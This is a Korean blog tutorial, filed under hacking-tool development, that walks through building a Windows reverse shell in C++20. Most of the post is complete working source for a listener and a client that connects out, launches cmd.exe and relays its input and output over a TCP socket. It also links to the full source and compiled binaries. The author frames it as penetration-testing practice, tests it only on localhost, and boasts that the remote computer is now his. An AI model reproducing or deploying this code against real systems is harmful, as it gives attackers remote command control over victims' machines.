🪓해킹/해킹툴 개발강좌

해킹도구 개발 | 리버스 쉘(Reverse shell) 이론및 개발실습

Mawile 2021. 10. 19.
728x90

🔥 소개

안녕하세요!

이번에는 해킹도구 개발관련 카테고리가 개설된 후, 관련내용에 대한 첫번째 포스팅입니다!

이번 시간에는 리버스쉘(Reverse shell)에 관하여 포스팅하겠습니다.

 

🔥 리버스쉘(Reverse shell)이란?

공격자쪽에서 서버포트를 열고 공격대상쪽에서 접속하여 생성하는 쉘입니다.

연결이 설정되면 공격자가 공격 대상자의 컴퓨터에서 실행할 명령을 전송하고 결과를 가져올 수 있습니다.

이러한 이유로 모의해킹의 필수프로그램이 될 수 있었으며 원격으로 쉘을 생성할 때 이용됩니다.

 

리버스쉘(Reverse shell)이나 바인드쉘(Bind shell)을 실습할 수 있는 대표적인 사례로는 netcat이 있습니다.

(해당 포스팅에서는 netcat같은 외부 툴의 의존없이 처음부터 끝까지 직접 다 만들어볼겁니다.)

 

💎 netcat이 뭐지?

netcat은 TCP 또는 UDP를 사용하여 네트워크 연결을 읽고 쓰기위한 컴퓨터 네트워킹 유틸리티입니다.

다른 프로그램 및 스크립트에서 직접 또는 쉽게 구동 할 수있는 신뢰할 수있는 백엔드로 설계되었습니다.

 

 

🔮 어떠한 환경에서 개발할까?

저는 개인적으로 시스템에 제일 친숙한 언어인 C++20을 사용할겁니다.

C++20은 다른 언어들보다 상대적으로 이식성이 뛰어나고(어떤 운영체제에다가 가져다 붙여도 잘 작동함),

개인적으로 저가 제일 잘 다루는 언어이기 때문입니다.

 

IDE는 당연히 비쥬얼스튜디오를 사용할겁니다.

이유는 비쥬얼스튜디오에서 지원하는 인텔리센스를 이용하면 소스코드가 한층 더 깔끔해집니다.

 

💎 개발환경

언어: C++20

통합개발환경: Visual Studio 2022 Preview

컴파일러: MSVC

 

 

🔮 직접 리버스쉘(Reverse shell)을 만들어보자!

🕹️ 솔루션 정렬및 설계

우선 저는 솔루션을 다음과 같이 정렬했습니다.

솔루션

이름 역할
ReverseShell.hpp 리버스 쉘의 역할을 수행하는 클래스와 클래스에 포함된 멤버함수가 정의되어있습니다.
ReverseShell.cpp 리버스 쉘의 역할을 수행하는 클래스와 클래스에 포함된 멤버함수가 구현되어있습니다.
SourceMain.cpp 우리가 개발하려는 리버스 쉘의 프로그램에서 메인모듈의 시작엔트리함수가 포함되어있습니다.

 

추가로 클라이언트 부분은 다른 솔루션에서 구동하였지만, 같은 헤더를 사용하였습니다.

 

이름 역할
Client.cpp 클라이언트에서 메인모듈의 시작엔트리 함수가 포함되어있습니다.

 

🕹️ ReverseShell.hpp
#pragma once
#pragma comment(lib, "ws2_32")
#pragma warning(disable:4996)

#include <iostream>
#include <exception>
#include <string>
#include <thread>

/* 반드시 WinSock2.h 먼저 정의해주어야 합니다. */
#include <WinSock2.h>
#include <Windows.h>
#include <WS2tcpip.h> // inet_pton()

#define BUFSIZE (0x1000)

namespace mawile {
	class ReverseShell {
	public:
		void Listen(int);
		void Connect(const char*, int);

		ReverseShell();
		ReverseShell(int);
		ReverseShell(const char*, int);
		~ReverseShell();

	private:
		SOCKET svSocket, clSocket;

	};
}

 

🕹️ ReverseShell.cpp
#include "ReverseShell.hpp"

namespace mawile {
	void ReverseShell::Listen(int serverPort) {
		std::cout << "WSAStartup is starting...\n";

		/**
		*		@brief WSA시작하기
		*/
		WSADATA wsaData;
		if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
			throw std::runtime_error("Error: WSAStartup");

		/**
		*		@brief 서버소켓 생성
		*/
		svSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
		if (svSocket == INVALID_SOCKET)
			throw std::runtime_error("Error: Invalid svSocket");

		SOCKADDR_IN svAddr_in = { 0 };
		svAddr_in.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
		svAddr_in.sin_family = AF_INET;
		svAddr_in.sin_port = htons(serverPort);

		/**
		*		@brief 바인딩
		*/
		std::cout << "binding...\n";
		if (bind(svSocket, (SOCKADDR*)&svAddr_in, sizeof svAddr_in) == SOCKET_ERROR)
			throw std::runtime_error("Error: bind");

		/**
		*		@brief 리스닝
		*/
		std::cout << "listening...\n";
		if (listen(svSocket, SOMAXCONN) == SOCKET_ERROR)
			throw std::runtime_error("Error: listen");

		/**
		*		@breif 클라이언트 수용
		*/
		SOCKADDR_IN clAddr_in = { 0 };
		int clsize = sizeof clAddr_in;
		std::cout << "Accepting the client...\n";
		clSocket = accept(svSocket, (SOCKADDR*)&clAddr_in, &clsize);
		if (clSocket == INVALID_SOCKET)
			throw std::runtime_error("Error: Invalid clSocket");

		/**
		*		@brief 1초 기다린뒤, 콘솔창 청소
		*/
		std::cout << "The client is connected!\n";
		Sleep(1000);
		std::system("cls");

		/**
		*		@brief 비동기적으로 클라이언트로부터 [0x1000] 크기만큼 데이터 받아오기
		*/
		std::thread thr([&, this]() {
			char buf[BUFSIZE];

			for (;;) {
				RtlZeroMemory(buf, BUFSIZE);
				int recvBytes = recv(clSocket, buf, BUFSIZE, 0);
				if (recvBytes < 0)
					break;

				std::cout << buf;
			}
			});

		char inBuf[BUFSIZE];

		for (;;) {
			RtlZeroMemory(inBuf, BUFSIZE);

			std::size_t count = 0;
			for (;;) {
				int i = getchar();
				if (i == '\n') break;
				inBuf[count++] = i;
			}

			/**
			 *		@brief 특정명령어는 직접 제어
			*/
			if (!strcmp(inBuf, "exit")) exit(0);
			if (!strcmp(inBuf, "cmd")) {
				std::cout << "하위 프로세스를 생성할 수 없습니다.\n";
				continue;
			}
			if (!strcmp(inBuf, "cls")) std::system("cls");
			send(clSocket, inBuf, strlen(inBuf) + 1, 0);
		}

		thr.join();
	}

	void ReverseShell::Connect(const char* serverIp, int serverPort) {
		HANDLE g_hChildStd_IN_Rd = 0;
		HANDLE g_hChildStd_IN_Wr = 0;
		HANDLE g_hChildStd_OUT_Rd = 0;
		HANDLE g_hChildStd_OUT_Wr = 0;

		/**
		 *		@brief WSA시작하기
		*/
		WSADATA wsaData;
		if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
			throw std::runtime_error("Error: WSAStartup");

		/**
		 *		@brief 서버소켓 생성
		*/
		svSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
		if (svSocket == INVALID_SOCKET)
			throw std::runtime_error("Error: Invalid svSocket");

		SOCKADDR_IN svAddr_in = { 0 };
		svAddr_in.sin_family = AF_INET;
		svAddr_in.sin_port = htons(serverPort);
		inet_pton(AF_INET, serverIp, &svAddr_in.sin_addr);

		/**
		 *		@brief 서버에 연결
		*/
		if (connect(svSocket, (SOCKADDR*)&svAddr_in, sizeof svAddr_in) == SOCKET_ERROR)
			throw std::runtime_error("Error: connect");

		SECURITY_ATTRIBUTES saAttr;
		saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
		saAttr.bInheritHandle = TRUE;
		saAttr.lpSecurityDescriptor = NULL;

		/**
		 *		@brief 생성할 하위 프로세스의 입출력 파이프생성
		*/
		if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0))
			throw std::runtime_error("Error: CreatePipe");
		if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0))
			throw std::runtime_error("Error: SetHandleInformation");

		if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0))
			throw std::runtime_error("Error: CreatePipe");
		if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0))
			throw std::runtime_error("Error: SetHandleInformation");

		TCHAR szCmdline[] = TEXT("cmd");
		PROCESS_INFORMATION piProcInfo;
		RtlZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION));

		STARTUPINFO siStartInfo;
		BOOL bSuccess = FALSE;

		RtlZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
		siStartInfo.cb = sizeof(STARTUPINFO);
		siStartInfo.hStdError = g_hChildStd_OUT_Wr;
		siStartInfo.hStdOutput = g_hChildStd_OUT_Wr;
		siStartInfo.hStdInput = g_hChildStd_IN_Rd;
		siStartInfo.dwFlags |= STARTF_USESTDHANDLES;

		/**
		 *		@brief 하위 프로세스 생성
		*/
		bSuccess = CreateProcess(0, szCmdline, 0, 0, TRUE, 0, 0, 0, &siStartInfo, &piProcInfo);

		if (!bSuccess)
			throw std::runtime_error("Error: CreateProcess");
		else
		{
			CloseHandle(piProcInfo.hProcess);
			CloseHandle(piProcInfo.hThread);

			CloseHandle(g_hChildStd_OUT_Wr);
			CloseHandle(g_hChildStd_IN_Rd);
		}


		DWORD dwRead, dwWritten;
		CHAR chBuf[BUFSIZE], inBuf[BUFSIZE];

		/**
		 *		@brief 비동기적으로 하위 프로세스의 출력을 버퍼로 읽기
		*/
		std::thread ([&, this]() {
			for (;;) {
				RtlZeroMemory(chBuf, BUFSIZE);

				bSuccess = ReadFile(g_hChildStd_OUT_Rd, chBuf, BUFSIZE, &dwRead, NULL);
				if (!bSuccess || dwRead == 0) break;

				send(svSocket, chBuf, BUFSIZE, 0);
			}
			}).detach();

		for (;;)
		{
			RtlZeroMemory(inBuf, BUFSIZE);
			recv(svSocket, inBuf, BUFSIZE, 0);

			/**
			 *		@brief 서버접속이 끊기면 클라이언트도 자동으로 연결해제
			*/
			if (WSAGetLastError()) exit(0);

			/**
			 *		@brief 오버플로우 방지
			*/
			inBuf[BUFSIZE - 1] = '\0';

			/**
			 *		@breif 특정명령어는 직접 제어
			*/
			if (!strcmp(inBuf, "exit")) exit(0);
			if (!strcmp(inBuf, "cls")) std::system("cls");

			strcat(inBuf, "\n");
			bSuccess = WriteFile(g_hChildStd_IN_Wr, inBuf, strlen(inBuf), &dwWritten, NULL);
			if (!bSuccess) break;
		}

		CloseHandle(g_hChildStd_IN_Wr);
		CloseHandle(g_hChildStd_OUT_Rd);
	}

	ReverseShell::ReverseShell() {

	}

	ReverseShell::ReverseShell(int serverPort) {
		Listen(serverPort);
	}

	ReverseShell::ReverseShell(const char* serverIp, int serverPort) {
		Connect(serverIp, serverPort);
	}

	ReverseShell::~ReverseShell() {
		closesocket(clSocket);
		closesocket(svSocket);
		WSACleanup();
	}
}

 

🕹️ SourceMain.cpp
/* 서버 */
#include "ReverseShell.hpp"

int main(void) {
	try {
		// 8080번 포트로 리버스 쉘 서버를 리스닝한다.
		mawile::ReverseShell* rShell = new mawile::ReverseShell(8080);



		delete rShell;
		return (0);
	}
	catch (std::exception& e) {
		std::cout << e.what() << std::endl;
		return (-1);
	}

	return (0);
}

 

🕹️ Client.cpp
/* 클라이언트 */
#include "ReverseShell.hpp"

int main(void) {
	try {
		// 루프백아이피:8080번 포트로 리버스 쉘 서버에 접속한다.
		mawile::ReverseShell* rShell = new mawile::ReverseShell("127.0.0.1", 8080);



		delete rShell;
		return (0);
	}
	catch (std::exception& e) {
		std::cout << e.what() << std::endl;
		return (-1);
	}

	return (0);
}

 

 

🔮 어떻게 설계되어있지?

우선 "ReverseShell.hpp"에는 다음과 같은 레퍼런스들이 정의되어 있습니다.

함수 정의 역할 파라미터
void Listen(int); 서버의 포트를 열고, 클라이언트를 수용하는 함수. (서버포트)
void Connect(const char*, int); 서버에 접속하는 함수. (서버아이피, 서버포트)

 

최대한 간단하게 설계하려고했는데, 적다보니까 살짝 코드가 길어졌습니다.

전체 소스코드와 컴파일된 프로그램은 아래 깃허브링크를 타고 설치해주시기 바랍니다.

 

🔮 다운로드

깃허브(Github) 다운로드

 

GitHub - Mawi1e/ReverseShell: ReverseShell with C++

ReverseShell with C++. Contribute to Mawi1e/ReverseShell development by creating an account on GitHub.

github.com

 

(소스코드를 외부에서 사용시 사전에 댓글로 이야기 해주시면 감사하겠습니다!)

 

🔮 동작원리를 알아보자!

우선 서버에서는 mawile::ReverseShell::Listen을 사용해야 되겠죠?

해당 함수는 크게 다음과 같은과정을 거치게 됩니다.

 

| 서버의 동작구조 |

서버바인딩 -> 서버리스닝 -> 클라이언트 접속확인 ->
스레드(1)을 생성 -> (' ')공백제거없이 입력을 받음 -> 콘솔 입력내용 클라이언트로 전송

[ 스레드(1) ]
클라이언트로부터 오는 데이터를 [0x1000]만큼 버퍼로 읽어오기 -> 콘솔로 출력

 

사실 이대로 보기만한다면, 리버스 쉘의 동작원리는 생각보다 복잡하지 않습니다.

다음은 mawile::ReverseShell::Connect를 사용한 클라이언트의 동작구조입니다.

 

| 클라이언트의 동작구조 |

서버접속 -> 하위 프로세스 입출력 파이프 생성 -> 
스레드(1)을 생성 -> 서버로부터 오는 패킷을 읽어오기 -> 
서버로부터 온 패킷 뒤에 '\n' 추가 -> 하위 프로세스의 입력버퍼에다가 해당 패킷의 내용입력

[ 스레드(1) ]
하위프로세스의 출력버퍼를 한번에 최대 [0x1000]만큼 읽어오기 -> 읽어들인 버퍼를 서버로 전송

 

 

자세히 보니까 그냥 하위 프로세스를 만들고 그 내용을 서버와의 입출력버퍼랑 연결 시키기만 했습니다.

로직자체는 엄청 단순합니다.

 

 

🔮 실제로 실행을 해보자!

실제로 해당 소스코드를 돌리고 실행해보면 다음과 같이 2개의 프로그램을 컴파일받을 수 있습니다.

컴파일된 프로그램

 

우선 "ReverseShell_Mawile.exe"는 서버이고, "Client.exe"는 클라이언트입니다.

이제 서버를 실행해보겠습니다.

서버화면

 

다음과 같이 클라이언트의 접속이 올때까지 끊임없이 기다립니다.

이제 클라이언트를 접속시키겠습니다.

서버화면(왼쪽)과 클라이언트화면(오른쪽)

1초 기다리니, 바로 클라이언트의 cmd에 연결되었습니다!

저는 따로 테스트 할 pc가 없어서 루프백(localhost)으로 했습니다.

 

아래와 같은 사진처럼 cmd명령어를 입력해도 잘 작동합니다!

이제 서버는 클라이언트의 cmd를 마음대로 사용할 수 있습니다.(이제 이 컴퓨터는 제껍니다.)

 

 

❤️ 마무리

여기까지해서 해킹도구 개발 | 리버스 쉘(Reverse shell) 이론및 개발실습 에 관한 포스팅은 여기서 마치겠습니다.

궁금한 부분이 있다면 댓글로 질문주세요!

 

그럼 안녕!

 


728x90

댓글